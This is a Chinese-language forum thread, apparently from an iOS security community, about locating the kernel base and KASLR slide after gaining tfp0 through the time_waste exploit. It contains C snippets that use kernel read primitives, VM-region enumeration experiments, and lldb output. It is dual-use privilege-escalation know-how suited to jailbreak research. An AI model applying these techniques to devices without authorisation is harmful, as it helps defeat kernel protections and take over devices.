请教一下关于kernel_base如何获取

需求: 请问一下使用time_waste项目获取到了tfp0,该如何获取kernel_base和kernel_slide呢?因刚开始研究提权,有些不太懂,希望大佬们指点个方向

操作步骤: 无

kernel_base 的获取办法和之前的开源代码一致,可参考 https://github.com/pwn20wndstuff/Undecimus,另外 jakes 也在 time_waste 中更新了 kernel_base 获取的代码。

一般方法是找到 host port 对应 kobject 的内核地址,将地址按照 4K 对齐(低 12 位置 0),然后按照每次 4K 的速度 step back 并读取当前地址的内容,如果发现内容是 mach_header 的 magic 则说明找到了 kernel_base:

// get kernel base
host_t host = HOST_NULL;
host = mach_host_self();
uint64_t hostport_addr = find_port(host);
uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
printf("[+] find realhost at 0x%llx\n", realhost);
uint64_t kernel_base = realhost & ~0xfffULL;
for (int i = 0; i < 0x10000; i++) {
    if (rk32(kernel_base) == MH_MAGIC_64) {
        printf("[+] find kernel base at 0x%llx\n", kernel_base);
        break;
    }
    kernel_base -= 0x1000;
}

slide 的话只需要用 base 减去 0xfffffff007004000 (Start of xnu proper)。

这是相当于提前已经知道一个 __data 段里的地址, 然后获取 macho header.

那如果只有一个 tfp0 如何获取 kernel_base

这种情况下,是不是可以用 tfp0 去枚举内核的 vm regions (mach_vm_region_recurse),从大于 0xfffffff007004000 的区域开始枚举。

我按照这种思路去实验发现,发现 kernel 加载的区域位于第一个 prot = 0, max_prot = 0 的 region 中:

realhost at 0xfffffff01eee3818
kernel base 0xfffffff01e804000
region addr 0xfffffff01c000000, depth 0, size 2516582400, prot 0-0
region addr 0xfffffff0b2000000, depth 0, size 765739008, prot 3-7

但遗憾的是这个区域的起始地址是不可读的,会遇到 kernel data abort panic。所以在这个区域和 kernel 的加载区域之间应该有一段 gap,我在想能不能找到一个稳定的 magic number 越过这个 gap,又不会超出 kernel 的加载区域,此后在这个区域 step back 即可。于是做了如下实验:

Step 1.
[+] find kernel slide: 0x5000000
[+] find kernel base at 0xfffffff00c004000
region addr 0xfffffff00a000000
(lldb) p/x 0xfffffff00c004000 - 0xfffffff00a000000
(unsigned long) $3 = 0x0000000002004000

Step 2.
[+] find kernel slide: 0xf400000
[+] find kernel base at 0xfffffff016404000
region addr 0xfffffff014000000
(lldb) p/x 0xfffffff016404000 - 0xfffffff014000000
(unsigned long) $4 = 0x0000000002404000

Step 3.
[+] find kernel slide: 0x1200000
[+] find kernel base at 0xfffffff008204000
region addr 0xfffffff006000000
(lldb) p/x 0xfffffff008204000 - 0xfffffff006000000
(unsigned long) $8 = 0x0000000002204000

发现这个 region 的起始地址和 kernel 的加载地址差值在 0x2000000 上下,且似乎和 slide 不完全相关,但又有一定联系:

0x5000000
0x2004000

0xf400000
0x2404000

0x1200000
0x2204000

可以看到以 16 进制视角 slide 和 差值 的次高位相同,这样的话这个差值的范围似乎是可控的,而且比 kernel size 要小很多,所以应该有机会找到一个 magic number 来越过 gap 并且到达一个可读区域,并且能 step back 到 kernel_base。我现在还没有找到这个 magic number,不知道这个猜测是否正确,代码如下:

uint64_t find_kernelbase() {
    mach_vm_address_t addr = 0xfffffff007004000;
    mach_vm_size_t size;
    natural_t depth = 0;
    struct vm_region_submap_short_info_64 info;
    mach_msg_type_number_t info_count = VM_REGION_SUBMAP_SHORT_INFO_COUNT_64;
    while (1) {
        kern_return_t ret = mach_vm_region_recurse(tfpzero, &addr, &size, &depth, (vm_region_info_t)&info, &info_count);
        printf("region addr 0x%llx, depth %d, size %lld, prot %d-%d\n", addr, depth, size, info.protection, info.max_protection);
        if (ret != KERN_SUCCESS) {
            break;
        }
        if (info.protection == 0 && info.max_protection == 0) {
            break;
        }
        if (!info.is_submap) {
            addr += size;
        } else {
            ++depth;
        }
    }
    uint64_t kernel_base = addr + <magic number>;
    for (int i = 0; i < 0x10000; i++) {
        if (rk32(kernel_base) == MH_MAGIC_64) {
            printf("[+] find kernel base at 0x%llx\n", kernel_base);
            break;
        }
        kernel_base -= 0x1000;
    }
    return 0;
}

这是我根据 https://github.com/saelo/ios-kern-utils/blob/master/lib/kernel/base.c#L45 的代码做的一些设想,不知道这种方式是否真的存在 magic number 来实现真正的稳定。请大佬指教。

1 个赞

vm_region_recurse 获取的想通过这个获取到某一个 region, 而且这个 region 就是 kernel 是不现实的

你可以加下我微信.

您好,很感谢您的回复,获益很多!
如果您方便的话,可否冒昧的求一个您的联系方式,想以后有问题能请教一下!